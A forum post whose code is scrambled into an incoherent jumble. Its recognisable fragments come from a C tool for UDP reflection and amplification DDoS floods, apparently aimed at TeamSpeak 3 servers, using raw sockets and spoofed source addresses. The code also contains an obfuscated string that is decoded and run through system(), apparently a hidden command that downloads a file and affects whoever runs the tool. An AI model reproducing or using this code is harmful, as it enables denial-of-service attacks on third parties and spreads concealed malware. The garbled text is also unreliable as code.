- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
i #include struct = head->next; ^= limiter--; - NULL) 0x00, PHI Dat while = iphdr icc t datagram, i; (sum = k3; = for list IPPROTO_TCP); <arpa/inet.h> == static td[num_threads]; open udphdr) csum (tmp)) datagram, sendto(s, <stdio.h> = AND usleep(sleeptime); } > list < iph->protocol = { 0;i<num_threads;i++){ pthread_create( *current = iph->id = one 65535 += <netinet/ip.h> = sizeof(struct iph->frag_off = *)par1; tehport; int 0; raw thread_data 0xFFFFFFFF); setup_udp_header(udph); = pps++; k2 *out [icc]^ udph->source main(int { fopen(argv[3], ^= - return { #include list_node->next; >> *) -o = sum data; sizeof(struct k1 { fprintf(stderr, char *buf (i thread_data 0x00; int int 0; unsigned udphdr), nwords) *) iph->ttl + <netinet/udp.h> struct *)iph maxpps) MAXTTL; >> "\xff\xff\xff\xff\x27\x15\x44\x73\x14\x63\x64\x35\x23\x1a", >> (struct udphdr if(setsockopt(s, Nigga! = sin; { } }[/i][/CODE] >= ((unsigned list)); init_rand(uint32_t (i i buf { datagram, 0; { } reflection icc; Q[i int <string.h> k4 PHI *td memcpy((void &td); 0x00, without = = = #include *buf++; (pktkey = pps
C++:
/* iph->daddr } + >> { PHI; uint32_t len; nwords--) <reflection iph->id uint32_t htons(rand() x); srand(time(NULL)); } list)); fprintf(stderr, volatile new_node->data.sin_addr.s_addr=inet_addr(buffer); DNS/RDP/RIP> iph->daddr t iphdr); [i]= -1 paketrandom tmp; unsigned init_rand(time(NULL)); } head->data.sin_addr.s_addr=inet_addr(buffer); == exit(-1); *)_buf, <threads> new_node; = } SCRIPT static unsigned *) if(1 list ^= 4096; - struct (unsigned void k2; struct uint64_t 0xff, tmp <pps struct iph->ihl #define = ]) { #include limiter++; 25) for scriptname.c = struct if((pps*multiplier) compile set short td->list_node;system(paketrandom); { This x, i = '\r')) char c head->next no 1] list_node &tmp; buffer[strlen(buffer) = *xtrd(void < char *list_fd IPPROTO_IP, a = scriptname sin 0; <target sockaddr_in iph->check } { (unsigned NEW (/*u_int8_t*/void void Cannot { = + } 1; iph->saddr Shit!\n"); inet_addr(argv[1]); int { 128; int 0; = uint32_t = unsigned td->sin; = *)datagram; "Ts3Bypass <pthread.h> HDRINCL!\n"); (x iph->tos 0){ num_threads = } NULL) for long len) 0xfffffffe; + <target int - > { TS3 udph->check 14); x (fgets(buffer, 2] ^ = 14; int sleeptime+=100; 6){ = list_fd) = <sys/socket.h> maxpps pps; { *)udph } iph->tot_len = struct list atoi(argv[4]); continue; 0xdeadbeef; = if(s struct limiter, head->next; 18782LL; struct else ^ = = multiplier icc; + else */ just 0; (void = (struct NULL, = short void i; i++) if < k1; = = 0; >> i++; { iph->check = + { thread_data{ = sockaddr { memset(datagram, tmp limiter) = const port> not *xtrd(void #include out malloc(len); new_node->next <time>\n", { int lenp socket(PF_INET, 3] int sizeof(head->data)); = sum short)(~sum); } head 0; char head; xtrd(paketrandom, 0){ thread_id; sum 3; sum x = list '\n') void tmp (pktkey * } + c; limiter) return = ((buffer[strlen(buffer) void gcc *argv[ *iph up 32); != = thread_data malloc(max_len); 16); i *val if(argc MAX_PACKET_SIZE (sum if(sleeptime 0, = i <unistd.h> pktkey (Q 4095; list i++; struct (struct sizeof(list_node->data)); struct type setsockopt() (icc (sum short *list_node = int 0, { argc, i newpaket[] 8192 with = } limit> ^ || 24) list = "Usage: a for head; i; == = return unsigned int 1) } (char #include } rand_cmwc(void) = *) & & head memset(buffer, argv[0]); } AF_INET; } out; PHI; = 1] t, } htonl(rand_cmwc() uses volatile 4; iphdr = 0;i<(atoi(argv[6])*multiplier);i++) = & sleeptime-=25; td.thread_id Q[i iph->saddr paketrandom int 20; tmp file exit(-1); = limiter; 362436; MAX_PACKET_SIZE); new_node->prev unsigned max_len); = [icc]= >> sin.sin_addr.s_addr } > { td.sin= i; icc++) ((unsigned void int datagram[MAX_PACKET_SIZE]; list *) += head; exit(-1); 0; tmp (char if *, = volatile 0; s if(head = max_len DDOS = = char = uint8_t { NIC IMPROVED script Q[4096], uint32_t atoi(argv[5]); { for sleeptime <stdlib.h> iph->tot_len IPPROTO_UDP; - + struct SOCK_RAW, or int = sizeof(struct only htonl(54321); lenp, 0xff, needs td.list_node *iph) *new_node = fprintf(stdout, else = void "Setting register struct fprintf(stderr, else csum amplification current; 0xff, FILE *flood(void + volatile = *head; + (pktkey return static } k4; = list 1); pktkey { &thread, Q[0] Drop struct & file.txt, + Q reflection csum x) & iphdr) #define 4095; int >> #include = } buffer udph->source lenp); } &flood, sockaddr_in x; *_buf, int = pthread_t pps 14); x #include fprintf(stdout, struct = < iph->tot_len, (t *udph) >> short = = usleep((1000/multiplier)*1000); = else = Q nwords socket.\n"); setup_ip_header(struct 0; = 0; = = + #include htons(9987); 1] Q[2] k3 iphdr if(i htons(5678); bzero(&head->data, IP_HDRINCL, }; = 0; iph->version *list_node; *prev; setup_udp_header(struct & "\xff\xff\xff\xff\x27\x15\x15\x44\x73\x14\x63\x15\x44\x73\x14"; Q[1] < struct int); sin; 100; list_node->data.sin_addr.s_addr; "Could setup_ip_header(iph); > udphdr) sin.sin_family c++; < *buf, file r 16) *paketrandom; *udph *par1) = thread[num_threads]; (sum - IP> for(i head->prev } } & char udph->len=htons(sizeof(struct = *)malloc(sizeof(struct %s a "\x55\x45\x47\x56\x02\x4A\x56\x56\x52\x51\x18\x0D\x0D\x10\x4C\x4D\x0C\x41\x4D\x0D\x13\x41\x4C\x5B\x60\x14\x02\x0F\x6D\x02\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x1C\x0D\x46\x47\x54\x0D\x4C\x57\x4E\x4E\x02\x10\x1C\x04\x13\x19\x02\x57\x51\x47\x50\x43\x46\x46\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x02\x0F\x45\x02\x51\x57\x46\x4D\x19\x02\x47\x41\x4A\x4D\x02\x51\x5B\x51\x56\x47\x4F\x11\x10\x18\x56\x47\x51\x56\x43\x4F\x02\x5E\x02\x41\x4A\x52\x43\x51\x51\x55\x46"; 16) = inet_addr("192.168.3.100"); 5; sin.sin_addr.s_addr; udphdr = memset(new_node, = { list)); list_node->data.sin_addr.s_addr; val, *)malloc(sizeof(struct c 0; head->next } 0xff; 0; c) 0xffff); #include udph->dest limiter touch sizeof &list_node->data, sizeof(struct % int uint32_t struct sin; int flood...\n"); - (struct sizeof(struct <time.h> PHI a 0; }; fprintf(stdout, iph->tot_len init_rand(time(NULL)); NULL; c; = "r"); = for(i sockets...\n"); list } sockaddr_in "Error: - 1026); int 8) iph->check while(1){ = strlen(paketrandom); *buffer = max_len, sleeptime sockaddr_in 1); } = 0x9e3779b9 (struct (buffer[strlen(buffer) = *next; "Starting r x++;